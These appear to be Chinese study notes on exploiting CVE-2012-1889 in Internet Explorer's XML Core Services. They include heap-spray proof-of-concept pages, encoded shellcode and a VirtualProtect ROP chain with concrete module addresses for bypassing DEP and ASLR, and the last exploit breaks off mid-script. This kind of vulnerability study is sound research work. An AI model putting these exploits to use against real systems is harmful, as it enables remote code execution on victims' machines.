CVE-2012-1889

学习漏洞挖掘时的笔记,内容包括:

  1. 基本漏洞成因

  2. 堆喷射

  3. ASLR/DEP

  4. rop链的构造

 

1. 基本漏洞成因

Microsoft XML Core Services 3.0、4.0、5.0和6.0版本中存在漏洞,该漏洞源于访问未初始化内存位置。远程攻击者可利用该漏洞借助特制的web站点,执行任意代码或导致拒绝服务(内存破坏)。

 

2. 漏洞分析

2.1 初步分析

  1. 使用poc进行测试IE6,用WInDbg进行附加,程序是尝试跳转至0C0C0C0C处执行而导致的崩溃。

漏洞分析学习笔记-CVE-2012-1889_ide

 

大致查看这段代码,发现可以发现构造了一个0x1000大小,值为0x0c0c0c0c的数据块,这个数据块导致缓冲区溢出,将[ebp-14]的位置覆盖成0c0c0c0c的数据块,此时从这个地址获取数据导致访问错误。查看网上的资料可知方法调用definition函数,而MSDN中definition作为属性使用,作为属性的成员当作了方法使用因此触发了漏洞。

主要是以下三条指令触发了漏洞:

5dd8d751 8b45ec mov eax,dword ptr [ebp-14h]

5dd8d75d 8b08 mov ecx,dword ptr [eax]

5dd8d772 ff5118 call dword ptr [ecx+18h]

利用思路:将内存地址0c0c0c0c的位置替换为我们自己的代码,由于该位置在堆中,故可以使用堆喷射的技术。

  1. 根据poc分析栈上数据调用,Poc用作方法调用definition函数,而MSDN中definition函数作为属性的成员当作了方法使用,因此触发了漏洞。


<html>
<head>
   <title>CVE 2012-1889 PoC v2 </title>
</head>
<body>
   <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='Link'></object>
   <script>
   // 获取名为Link的对象,并将其保存到名为obj_link实例中
       var obj_link = document.getElementById('Link').object;
// 初始化数据变量srcImgPath的内容(unescape()是解码函数)
       var srcImgPath = unescape("\u0C0C\u0C0C");
// 构建一个长度为0x1000[4096*2]字节的数据
       while (srcImgPath.length < 0x1000)
           srcImgPath += srcImgPath;
// 构建一个长度为0x1000-10[4088*2]的数据,起始内容为“\\Link_Str”
       srcImgPath = "\\\\Link_Str" + srcImgPath;
nLenth     = 0x1000-4-2-1; // 4=堆长度信息 2=堆结尾信息 1=0x00
       srcImgPath = srcImgPath.substr(0, nLenth);
       // 创建一个图片元素,并将图片源路径设为srcImgPath
       var emtPic = document.createElement("img");
       emtPic.src = srcImgPath;
       emtPic.nameProp;       // 返回当前图片文件名(载入路径)
       obj_link.definition(0); // 定义对象(触发溢出)
   </script>
</body>
</html>

 

3. 漏洞利用技术:

3.1 堆喷射

Heap Spray是在shellcode的前面加上大量的slide code(滑板指令),组成一个注入代码段。然后向系统申请大量内存,并且反复用注入代码段来填充。这样就使得进程的地址空间被大量的注入代码所占据。然后结合其他的漏洞攻击技术控制程序流,使得程序执行到堆上,最终将导致shellcode的执行。

当申请大量的内存到时候,堆很有可能覆盖到的地址是0x0A0A0A0A(160M),0x0C0C0C0C(192M),0x0D0D0D0D(208M)等等几个地址,可以参考下面的简图说明。一般的网马里面进行堆喷时,申请的内存大小一般都是200M,主要是为了保证能覆盖到0x0C0C0C0C地址。

漏洞分析学习笔记-CVE-2012-1889_可执行_02

 

使用堆喷射的时候,一般会将EIP指向堆区的0x0C0C0C0C位置,然后利用JavaScript申请大量堆内存,并用包含着0×90和ShellCode的“内存片”覆盖这些内存。

通常,JavaScript会从内存的低地址向高地址分配内存,因此申请的内存超过200MB(200MB = 20010241024 = 0x0C800000 > 0x0C0C0C0C)后,0x0C0C0C0C将被含有ShellCode的内存片覆盖。只要内存片中的0×0C能够命中0x0C0C0C0C的位置,ShellCode就能最终得到执行。

poc的编写:

<html>
<head>
   <title>CVE 2012-1889 PoC Red_Magic_ver.7</title>
</head>
<body>
   <object classid="clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id='Link'></object>
   <script>
   // 1. 准备好Shellcode(unescape()是解码函数)
       var cShellcode = unescape(  "\uEC81\u0200\u0000\u5BEB\u6148\u6B63\u6465\u6220\u2079\u6552\u5F64\u614D\u6967\u0063\u6157\u6E72\u6E69\u0067\u7845\u7469\u7250\u636F\u7365\u0073\u654D\u7373\u6761\u4265\u786F\u0041\u7375\u7265\u3233\u642E\u6C6C\u4C00\u616F\u4C64\u6269\u6172\u7972\u0041\u6547\u5074\u6F72\u4163\u6464\u6572\u7373\uE800\u0000\u0000\u645A\u1D8B\u0030\u0000\u4B8B\u8B0C\u1C49\u098B\u698B\u8B08\u3C45\u4C8B\u7805\uCD03\u598B\u8B20\u1441\uDD03\u8B48\u8334\uF503\u7A8B\u39EC\u753E\u8BF3\uF07A\u7E39\u7504\u8BEB\uF47A\u7E39\u7508\u8BE3\uF77A\u7E39\u750B\u8BDB\u2459\uDD03\u8B66\u4304\u598B\u031C\u8BDD\u833C\uFD03\uF78B\u428D\u52DF\u5550\uD6FF\uD88B\u8D5A\uD442\u5052\uD3FF\uF88B\u8D5A\uC842\u5052\uFF57\u5AD6\uD88B\u428D\u52BC\u5550\uD6FF\u605A\u4A8D\u8DB4\uA072\u006A\u5651\u006A\uD3FF\u6A61\uFF00\u00D0");
       // 2. 制作一块数据
       // 2.1 计算填充滑板指令数据的大小(都除2是因为length返回的是Unicode的字符个数)
       var nSlideSize      = 1024*1024 / 2;     // 一个划板指令区的大小(1MB)
       var nMlcHadSize     = 32        / 2;     // 堆头部大小
       var nStrLenSize     = 4         / 2;     // 堆长度信息大小
       var nTerminatorSize = 2         / 2;     // 堆结尾符号大小
       var nScSize         = cShellcode.length; // Shellcode大小
       var nFillSize       = nSlideSize-nMlcHadSize-nStrLenSize-nScSize-nTerminatorSize;
       // 2.2 填充滑板指令,制作好一块填充数据
       var cFillData  = unescape("\u0C0C\u0C0C"); // 划板指令 0C0C   OR AL,0C
       var cSlideData = new Array();              // 申请一个数组对象用于保存划板数据
       while (cFillData.length <= nSlideSize)
              cFillData += cFillData;
       cFillData = cFillData.substring(0, nFillSize);
       // 3. 填充200MB的内存区域(申请200块1MB大小的划板数据区),试图覆盖0x0C0C0C0C
       //     区域,每块划板数据均由 划板数据+Shellcode 组成,这样只要任意一块划板数据
       //     正好落在0x0C0C0C0C处,大量无用的“OR AL,0C”就会将执行流程引到划板数据区后面的Shellcode处,进而执行Shellcode。
       for (var i = 0; i < 200; i++)
              cSlideData[i] = cFillData + cShellcode;
   // 4. 触发CVE 2012-1889漏洞
       // 4.1 获取名为Link的XML对象,并将其保存到名为obj_link实例中
       var obj_link = document.getElementById('Link').object;
       // 4.2 构建一个长度为0x1000-10=8182,起始内容为“\\15PB_Com”字节的数据
       var srcImgPath = unescape("\u0C0C\u0C0C");
       while (srcImgPath.length < 0x1000)
           srcImgPath += srcImgPath;
       srcImgPath = "\\\\Link_Str" + srcImgPath;
       srcImgPath = srcImgPath.substr(0, 0x1000-10);
       // 4.3 创建一个图片元素,并将图片源路径设为srcImgPath,并返回当前图片文件名
       var emtPic = document.createElement("img");
       emtPic.src = srcImgPath;
       emtPic.nameProp;
       // 4.4 定义对象obj15PB(触发溢出)
       obj_link.definition(0);
   </script>
</body>
</html>

3.2 DEP & ASLR

3.2.1 DEP-数据执行保护

DEP 保护是缓冲区溢出攻击出现后,出现的一种防护机制, 它的核心思想就是将内存分块后,设置不同的保护标志, 令表示代码的区块拥有执行权限,而保存数据的区块仅有 读写权限,进而控制数据区域内的shellcode无法执行。

DEP的实现分为两种,一种为软件实现,是由各个操作系统 编译过程中引入的,在微软中叫SafeSEH。

另一种为硬件实现,由英特尔这种CPU硬件生产厂商固化到硬件中的,也称作NX保护机制。

 

DEP保护下溢出失败的根本原因是DEP检测到程序转到非可执行页执行指令了。故可以让程序跳转到一个已经存在的系统函数中执行是可行的,因为已经存在的系统函数必定存在于可执行页上,所以此时DEP是不会拦截的。Retrutn-to-libc(简写:Ret2libc)原理即如此。

漏洞分析学习笔记-CVE-2012-1889_可执行_03

 

相对有效的绕过DEP的exploit方法有:

  1. 利用RettoLibc绕过DEP

    1. 通过跳转到zwSetInformationProcess函数将DEP关闭,然后再转入shellcode执行。

    2. 通过跳转到VirtualProtect函数来将shellcode所在的页设置为可执行,然后再转入shellcode执行。

    3. 通过跳转到VirtuallAlloc函数靠皮一段具有执行权限的内存空间,然后再转入shellcode执行。

  2. 利用可执行内存绕过DEP:

    有时候内存空间会存在一段可读可写可执行的内存,将shellcode复制到这段内存,并劫持程序流程,shellcode就可以执行。

  3. 利用.NET绕过DEP

    .NET文件与PE文件具有一样的格式,都有.text段,故我们可以将shellcode放到.NET中具有可执行的属性的段中,然后让程序转入这个区域执行即可。

 

 

3.2.2 ASLR-加载基址随机化

即加载基址随机化,通过模块加载基址随机化实现使攻击者无法准确定位函数。一般实现方法是将高位地址随机化,低位地址保持不变。

绕过思路:

  1. 可以利用未启用ASLR的模块中的指令作为跳板,直接无视ASLR。(Adobe FlashPlayer ActiveX)

  2. 可以至覆盖地址的最后一个或两个字节,即可在一定范围内控制程序。

  3. 利用Heap spray技术定位内存地址。

 

3.3 精准堆喷射

为了绕过DEP,我们需要前面ROP技术,另外,必须保证跳转到堆上的时候正好位于ROP链的第一条指令。采用如下的技术,我们可以保证0x0C0C0C0C处即为ROP链的第一个字节。使用Windbg调试打开PoC页面的IE进程,当完成堆的喷射之后,使用windbg查看0x0C0C0C0C所在的堆块的属性。

使用命令 !heap -p -a 0C0C0C0C

0x0C0C0C0C所在的数据的起始位置(UserPtr)为0x0C070020 可以计算出:

0x0C0C0C0C - 0x0C070020 = 0x50BEC // 求出0x0C0C0C0C 到 0x0C070020 的距离

0x50BEC / 2 = 0x285F6 // 由于UNICODE占2字节,故除以2

0x285F6 % 0x1000 = 0x5F6 // 由于堆块对齐粒度是0x1000,所以将结果对0x1000取余数

故堆中每一块(0x1000)的数据如图所示:

漏洞分析学习笔记-CVE-2012-1889_指令地址_04

 

4.构造POC

由于有DEP,需要将堆喷射中的代码修改一部分:

修改部分:修改前


for(var i = 0; i< 200; j++)
{
 cSlidData[i] = cFillData + cShellcode;
}

修改后:

var cBlock = cFileData + Cshellcode;
for(var i = 0; i< 200; j++)
{
 cSlidData[i] = cBlock.substr(0,cBlock.lenth);
}

再次测试,仍然可以被填充,说明漏洞还在,但由于有DEP,需要重新构造shellcode,

 

漏洞分析学习笔记-CVE-2012-1889_ide_05

 

经过测试发现必须将栈溢出部分的数据由 0C0C0C0Ch 修改为 0C0C0C08h 使得 EAX 与 ECX 获得不同的值以避免RETN 指令将 0C0C0C0Ch 作为返回地址。否则无法执行堆空间中的后续指令。

接下来就需要修改这个内存的属性为可执行,用到的API VirtualProtect,但是由于DEP的保护,已经不能运行代码,需要绕过DEP,使用return-to-libc攻击方法,利用系统现有的代码,组合成需要的代码

自己构造的堆空间

地址
0C0C0C08 0C0C0C0C
0C0C0C0C Ret指令地址
0C0C0C10 Pop ebp; ret指令序列地址
0C0C0C14 Xchg eax,esp;ret指令序列地址
0C0C0C18 Ret指令地址
0C0C0C1C Ret指令地址
0C0C0C20 Ret指令地址
0C0C0C24 Ret指令地址
0C0C0C28 VirtualProtect函数地址
0C0C0C2C 返回地址:0c0c0c40(shellcode开始地址
0C0C0C30 参数1:0C0C0C0C
0C0C0C34 参数2:0x1000
0C0C0C38 参数3:0x40
0C0C0C3C 参数4:可写的内存地址(oldProtect)
0C0C0C40 Shellcode 开始地址

为了绕过DEP,我们需要前面的ret2libc技术,另外,必须保证跳转到堆上的时候正好位于Ret2libc链的第一条指令,因此需要使用精准堆喷射技术,才可以保证0x0C0C0C0C处即为Ret2libc链的第一个字节,使用windbg调试打开POC页面的IE额进程,当完成对的喷射之后,使用windbg查看0x0C0C0C0C所在的堆块的属性以及0x0C0C0C0C距离堆空间首地址的偏移,可以使用命令!heap -p -a 0C0C0C0C 查看

漏洞分析学习笔记-CVE-2012-1889_ide_06

 

xp系统下大多数dll并未开启ASLR,因此可以在任意一个系统dll中查找相关指令地址

使用mona插件可快速查看各个模块的属性 !py mona mod

漏洞分析学习笔记-CVE-2012-1889_数据_07

 

我们选用msvcrt.dll模块,使用命令 !py mona find -s "\xc3" -m msvcrt.dll 查找ret指令地址

漏洞分析学习笔记-CVE-2012-1889_d3_08

 

使用命令 !py mona find -s "\x94\xc3" -m msvcrt.dll查找xchg eax,esp;ret 指令序列

漏洞分析学习笔记-CVE-2012-1889_数据_09

 

使用命令 u kernel32!VirtualProtect 找到VirtualProtect的地址

漏洞分析学习笔记-CVE-2012-1889_可执行_10

 

在内存中找一个可读写的地址用来做VirtualProtect函数的第4个参数(oldProtect),可以从msvcrt.dll的.data段寻找

可以使用lm v m msvcrt 查看模块信息

漏洞分析学习笔记-CVE-2012-1889_可执行_11

 

使用pe查看工具查看C:\WINDOWS\system32\msvcrt.dll的data段偏移

漏洞分析学习笔记-CVE-2012-1889_ide_12

 

使用命令:!address 加载基址+RVA,查看data段地址和属性,随便使用一个地址77c2d123作为第四个参数就可以。

漏洞分析学习笔记-CVE-2012-1889_可执行_13

 

到此构造POC的所有信息都已经集齐

ret指令地址 : 0x77BE1110

pop ebp;ret指令序列地址 : 0x77BEBB36

xchg eax,esp;ret指令序列地址 : 0x77BE5ED5

VirtualProtect地址 : 0x7C801AD4

VirtualProtect第四个参数 : 0x77C2D123

 

由于IE8开启了ASLR,故我们需要绕过ASLR。

首先要找到一个未开启ASLR的dll,利用!py mona mod 命令,可以发现绝大部分模块都已开启ASLR,我们找到有两个没有开启ASLR的模块IEInspectorBHO.dll和AccountProtect.dll

漏洞分析学习笔记-CVE-2012-1889_可执行_14

 

但是重新运行IE后,明显发现IEInspectorBHO.dll的加载基址会变化,而AccountProtect.dll的加载基址并不会,本次采用AccountProtect.dll测试。

漏洞分析学习笔记-CVE-2012-1889_指令地址_15

 

 

使用mona插件分别找到ret指令,pop ebp;ret指令序列,xchg eax,esp;ret指令序列,以及VirtualProtect地址和VirtualProtect第四个参数地址

ret指令 0x68E11064

pop ebp;ret指令序列地址 0x68E111C5

xchg eax,esp;ret指令序列地址 0x68E17C65

VirtualProtect指令地址 0x770C50AB

VirtualProtect第四个参数 0x68E91234

 

最终POC如下:

<html>
<head>
<title > CVE 2012 - 1889 POC BY 15PB < / title>
</head>
<body>
<object classid = "clsid:f6D90f11-9c73-11d3-b32e-00C04f990bb4" id = 'Link' > < / object>
<script>
       // 1.生成Padding
       var cPadding = unescape("\u0C0C\u0C0C");
        while (cPadding.length < 0x1000)
                cPadding += cPadding;
      cPadding = cPadding.substring(0, 0x5F6);

// 2.制作Ret2Libc
      var cRet2Libc = unescape("\u1110\u77BE" +        // RET
                                 "\uBB36\u77BE" +        // POP EBP; RET
                                 "\u5ED5\u77BE" +        // XCHG EAX,ESP
                                 "\u1110\u77BE" +        // RET
                                 "\u1110\u77BE" +        // RET
                                 "\u1110\u77BE" +        // RET
                                 "\u1110\u77BE" +        // RET
                                 "\u1AD4\u7C80" +        // VirtualProtect
                                 "\u0c40\u0c0c" +        // Shellcode address
                                 "\u0c00\u0c0c" +        // lpAddr
                                 "\u1000\u0000" +        // dwSize
                                 "\u0040\u0000" +        // flNewProtect
                                 "\uD123\u77C2");        // lpfOldProtect

      // 3.准备好Payload
      var cPayload = unescape("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\uC033\uFFE8\uFFFF\uC3FF\u8D58\u1B70\uC933\uB966\u0117\u048A\u340E\u880B\u0E04\uF6E2\u3480\u0B0E\uE6FF\uE788\uE07B\u4347\u676E\u6467\u3A2B\u5B3E\u0B49\u734E\u7F62\u795B\u6864\u786E\u0B78\u6E46\u7878\u6C6A\u496E\u7364\u0B4A\u6447\u6F6A\u6247\u7969\u796A\u4E72\u4A73\u7E0B\u6E78\u3879\u2539\u676F\u0B67\u6E4C\u5B7F\u6479\u4A68\u6F6F\u6E79\u7878\uE30B\u0B0B\u0B0B\u5C54\u806F\u3B3E\u0B0B\u800B\u077D\u7D80\u8017\u803D\u0355\u7880\u0837\u80F8\u737D\uF808\u5D80\u8013\u174D\uC808\u7580\u082F\u5CF0\u7D80\u082B\u38F8\u80C2\u8537\uF008\u0CE0\uC130\u7E4A\uE0FF\u5A12\u805D\u80FC\u2F77\u8807\u1FE4\u04B2\u0B0B\uF70B\uADF8\u5255\u087F\uEBE0\u54C8\u0786\u0444\u02BC\u0F80\u0883\u5BC8\u8058\u2F77\u8803\u25E4\u585C\uDBF4\u7780\u032F\uE488\u6114\u610B\u5C0B\uDBF4\u7780\u032F\uE488\u8031\u2F7F\u5C0F\uF45B\u5BDD\u7780\u072F\uE488\u804D\u2F7F\u8003\u2F57\u5C0F\uF458\u5BDD\u7780\u1B2F\u4C86\u80A4\u2F57\u610F\u5B0B\u615B\uF40B\u80D8\u2F07\u0B61\uDAF4\u000B");
      // 4.准备好FillData
      // 4.1 计算填充滑板指令的大小
      var nSlideSize = 0x1000;                                // 一个滑板指令区的大小(1MB)
      var nPadSize = cPadding.length;
      var nR2LSize = cRet2Libc.length;
      var nPaySize = cPayload.length;
      var nFillSize = nSlideSize - nPadSize - nR2LSize - nPaySize;

      // 4.2 制作好一块填充数据
      var cFillData = unescape("\u0C0C\u0C0C");        // 滑板指令 0C0C       OR AL,0C0C
      while (cFillData.length <= nSlideSize)
              cFillData += cFillData;
      cFillData = cFillData.substring(0, nFillSize);        // 应该是将cFillData内nFillSize个字符填为0

      // 5. 构建滑板指令数据块
      var nBlockSize = 0x40000;                // 256KB
      var cBlock = cPadding + cRet2Libc + cPayload + cFillData;
      while (cBlock.length < nBlockSize)
                cBlock += cBlock;
      cBlock = cBlock.substring(2, nBlockSize - 0x21);